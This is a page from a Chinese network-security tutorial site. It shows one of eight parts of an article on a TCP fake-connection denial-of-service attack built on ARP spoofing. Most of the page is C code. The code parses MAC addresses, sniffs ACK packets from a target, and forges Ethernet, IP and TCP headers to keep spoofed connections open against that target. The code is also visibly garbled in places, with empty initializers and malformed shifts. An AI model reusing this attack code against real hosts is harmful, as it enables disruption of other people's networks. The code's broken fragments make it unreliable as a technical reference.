文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网络技术网络安全基于ARP欺骗的TCP伪连接D.o.S
精品推荐
特别推荐
·无线入侵的技术细节
·SQL注入和CSS攻击的检测
·详解:五种Windows常用密码设置
·浅析黑客攻击时的常用方法和攻击步骤
·不怕攻击 家庭上网必学八招安全绝招
·入门者如何获取肉鸡
·Linux安全配置步骤简述
·Wi-Fi网络安全探讨及组网策略
·网页病毒的概念
·保障您网站安全的十点技巧
·技巧:网上交易密码保护的几种窍门
·六个简单方法防止上网被钓鱼
·PING命令的小秘密
·安全第一 网络端口扫描技术介绍
·十大网络工具帮你审核网络安全
·信息安全问题需解决方案
·多角度详细解释网站安全保护方法
·端口截听实现端口隐藏,嗅叹与攻击
·用Win NT/2K 建WEB站点安全指南
·实现 Web 应用程序安全的捷径
热点TOP10
·解析远程控制带来的安全危险
·不怕攻击 家庭上网必学八招安全绝招
·内网数据库服务器入侵实战
·MD5 Password Cracker 一个国外的md5爆破工具(速度极快)
·安全漏洞的起因:ActiveX技术安全报告
·黑客攻击步骤-如何获得IP
·认识映象劫持技术原理与解决办法
·保障您网站安全的十点技巧
·交换环境下SNIFFER的攻击技术手段
·防范于未然 2008五大企业安全问题预测
·假冒腾讯qq网络骗子欺诈骗术大曝光
·企业安全 减少内部安全风险的10种方法
·让尘封的DOS机莺歌燕舞欢喜过大年
·确保数据中心虚拟化安全10个步骤
·2007年12月十大网络安全漏洞综述
·大网站是保障网络安全的技巧
·检查并堵住网站的eWebEditor漏洞
·面临什么新威胁 PC安全终极指南
·深入理解防火墙 屏蔽外界攻击
·预防网络病毒的几个忠告

基于ARP欺骗的TCP伪连接D.o.S

日期:2005年10月31日 作者: 查看:[大字体 中字体 小字体]



{

char *str1;

int i;

int low,high;

char temp;


for(i=0;i<6;i++)

{

str1=str+1;

switch(*str)

{

case 'a':high=10;

break;

case 'b':high=11;

break;

case 'c':high=12;

break;

case 'd':high=13;

break;

case 'e':high=14;

break;

case 'f':high=15;

break;

default:temp=*str;

high=atoi(&temp);

}

switch(*str1)

{

case 'a':low=10;

break;

case 'b':low=11;

break;

case 'c':low=12;

break;

case 'd':low=13;

break;

case 'e':low=14;

break;

case 'f':low=15;

break;

default:temp=*str1;

low=atoi(&temp);

}

mac[i]=high*16+low;

str+=2;

}

}


void AssayAndSendData(LPPACKET lpPacket)

{

char *buf;

bpf_hdr *lpBpfhdr;

ET_HEADER *lpEthdr;

in_addr addr=;


buf=(char *)lpPacket->Buffer;

lpBpfhdr=(bpf_hdr *)buf;

lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);

if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包

{

IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));


if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) ) //判断所收到的数据包的传输层协议、源及目的IP

{

TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));


if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) ) //判断是否为带ACK标记的包并判断目标主机接收窗口是否已为0

{

char s_mac[6]=,d_mac[6]=;

char sendSynBuf[128]=;

char *data="ffantasyYD";

ET_HEADER et_header=;

IP_HEADER ip_header=;

TCP_HEADER tcp_header=;

PSD_HEADER psd_header=;


StrToMac(LOCAL_MAC,s_mac); //local_mac

memcpy(et_header.eh_src,s_mac,6);

StrToMac(TARGET_MAC,d_mac); //dest_mac

memcpy(et_header.eh_dst,d_mac,6);

et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包


ip_header.m_ver_hlen=(4<<45);

ip_header.m_tos=0;

ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));

ip_header.m_ident=htons(ipID++);

ip_header.m_flag_frag=htons(16384); //设置为不分片

上一页 [1] [2] [3] [4] [5] [6] [7] [8] 下一页 




上一篇:在网络钓鱼攻击的幕后

下一篇:操作电脑最忌的十八个小动作

基于ARP欺骗的TCP伪连接D.o.S 相关文章:
·QQ聊天记录偷窥和QQ视频欺骗
·欺骗你眼睛和大脑的神奇图片
·基于SIP的视频会议系统研究
·局域网连接设备--局域网知识
·如何在Windows Me下设置Internet连接共享
·解决无线网络连接故障的12个方法
·路由器下怎么用交换机连接几台电脑上网?
·全面图解路由器接口及连接(图)(2)
·全面了解“基于139端口”的攻击与防范
·机箱前置音频接线正确连接方法
基于ARP欺骗的TCP伪连接D.o.S 相关软件:
·Vista 远程桌面连接 V6.0 绿色版
·基于ASP的网上考试系统
·星际争霸(StarCraft)V1.08b版 连接官方战网补丁
·基于CMM的有效过程改进
·电路连接
·CISCO路由器基于时间的访问列表的应用
·使命的召唤(CALL OF DUTY)V1.4版升级档真正破解版及免CD补丁及服务器连接补丁
·基于CORBA的电子商务系统的安全性
·基于pdf文档的网络学习资源建设
·基于WWW的协同式CAI软件的Java实现

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.vipcn.net
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.vipcn.net All Rights Reserved. 鄂ICP备05000083号Powered by:viphot